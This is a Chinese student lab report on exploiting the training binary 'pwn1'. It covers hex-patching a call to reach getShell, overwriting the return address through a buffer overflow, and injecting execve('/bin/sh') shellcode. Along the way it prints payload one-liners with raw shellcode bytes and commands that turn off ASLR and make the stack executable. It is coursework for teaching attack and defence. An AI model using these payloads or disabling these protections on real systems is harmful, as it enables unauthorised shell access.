20222947 2022-2023-2 《网络攻防实践》实践九报告

Listener_2947 2023-06-02 11:53:40

目录

  • 一、实践内容
  • 二、实践过程
  • 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
  • 2.通过构造输入参数,造成BOF攻击,改变程序执行流
  • 3.注入Shellcode并执行
  • 三、学习中遇到的问题及解决
  • 四、实践总结

一、实践内容

1.1实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。注入一个自己制作的shellcode并运行这段shellcode。

1.2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

二、实践过程

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 在kali攻击机终端输入命令objdump -d pwn1对该文件进行反汇编

img

  • 修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

main函数:“80484b5: e8 d7 ff ff ff call 8048491 ”,“call 8048491 ”是汇编指令,其含义是调用地址为8048491的foo函数,“e8 d7 ff ff ff”是机器指令,e8的含义是“跳转”,EIP值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。main函数调用foo函数的机器指令为“e8 d7 ff ff ff”,想调用getshell函数,只需把“d7 ff ff f”f改为getShell-80484ba对应的补码,47d-ba得到补码为c3 ff ff ff,故main函数调用getshell函数的机器指令为“e8 c3 ff ff ff”。

  • 输入命令:vim pwn1

img

  • 输入命令“:%! xxd”,将显示模式切换为16进制模式

img

  • 找到这一行,先点击Ctrl+I进入插入模式,将“e8 d7”改为“e8 c3”。然后点击Esc

img

  • 输入命令“:%! xxd -r”将十六进制模式改回原格式,保存并退出。

img

  • 输入:wq保存并退出

  • 再次输入“objdump -d pwn1”命令反汇编,call指令是否正确调用getShell

img

  • 输入“./pwn1”运行改后的代码,会得到shell提示符#

img

2.通过构造输入参数,造成BOF攻击,改变程序执行流

1)反汇编,了解程序的基本功能

  • 使用未被篡改的源文件pwn1,输入命令“objdump -d pwn1”对该文件进行反汇编。

img

利用foo()函数中buffer漏洞,输入足够长的字符串能够造成缓存区溢出,使其覆盖到返回地址。输入足够长的字符串,把原来的返回地址覆盖成现在getshell()的起始地址。
该可执行文件正常运行要调用foo函数,该函数有Bof漏洞,foo函数读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。正常情况下,call调用函数foo会在堆栈上压入返回地址:0x80484ba。

2)确认输入字符串哪几个字符会覆盖到返回地址

  • “apt install gdb”安装

img

  • 输入命令“gdb pwn1”调式程序。

img

  • 输入“r”,表示运行这个文件,输入有规律的字符串“1111111122222222333333334444444455555555666666”,程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出。

img

  • 输入“info r”查看寄存器eip的值,发现输入的后几位的数字覆盖到了堆栈上的返回地址。只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。

img

3)确认用什么值来覆盖返回地址

  • 通过前面的反汇编结果可以看到Getshell的地址为0804847d。确认字节序,是输入“11111111222222223333333344444444\x08\x04\x84\x7d”,还是输入“11111111222222223333333344444444\x7d\x84\x04\x08”。
    对比“eip 0x35353535 0x35353535”,正确输入应为“11111111222222223333333344444444\x7d\x84\x04\x08”。

4)构造输入字符串

  • 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    输入xxd input 查看input文件是否符合预期

img

  • 然后将input的输入,通过管道符“|”,作为pwn1的输入。即输入 (cat input; cat) | ./pwn1 input

img

3.注入Shellcode并执行

1)准备一段Shellcode

shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

2)准备工作

具体步骤:

(1) apt-get install execstack //安装execstack命令
(2) execstack -s pwn1 //设置堆栈可执行
(3) execstack -q pwn1 //查询文件的堆栈是否可执行
(4) more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
(5) echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
(6) more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

img

img

img

3)构造要注入的payload

  • 输入命令“perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode”进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr。

img

  • 在该终端运行“(cat input_shellcode;cat) | ./pwn1”注入这段攻击buf,打开另一个终端,运行“ps -ef | grep pwn”,可以看到pwn的进程30274。

img

img

  • 用gdb的“attach 30274”命令启动gdb调试这个进程。

img

  • 用“disassemble foo”命令反汇编,设置断点查看注入buf的内存地址。

img

  • 输入“b *0x080484ae”命令设置断点,输入“c”命令(continue)继续运行

img

  • 在进程正在运行的终端敲回车,使其继续执行

img

  • 返回调试终端,输入“返回调试终端,输入“info r esp”命令查找地址为“x/16x 0xffffd3ec”

img

  • 输入“x/16x 0xffffd3ec”命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd3ec+0x00000004=0xffffd3f0,所以地址应为0xffffd3f0。

img

  • 将之前的\x4\x3\x2\x1改为这个地址0xffffd3f0即可,用命令 perl -e 'print "A" x 32;print "\xf0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 用“(cat input_shellcode;cat) | ./pwn1”命令次执行程序,攻击成功

img

三、学习中遇到的问题及解决

问题:安装execstack命令时老是失败

img

解决方案:换源进行安装

img

四、实践总结

本次实践作业过程比较繁琐,由于自己对注入攻击的知识还有汇编语言等掌握的不够扎实,所以实验中也出现了一些问题,好在最后得以解决顺利完成试验。本次实验学习和理解了缓冲区溢出攻击的原理以及一些实验操作,还有getShell函数以及注入一个自己制作的shellcode等知识,受益匪浅。

...全文
152 回复 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

77

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防实践作业
网络安全系统安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧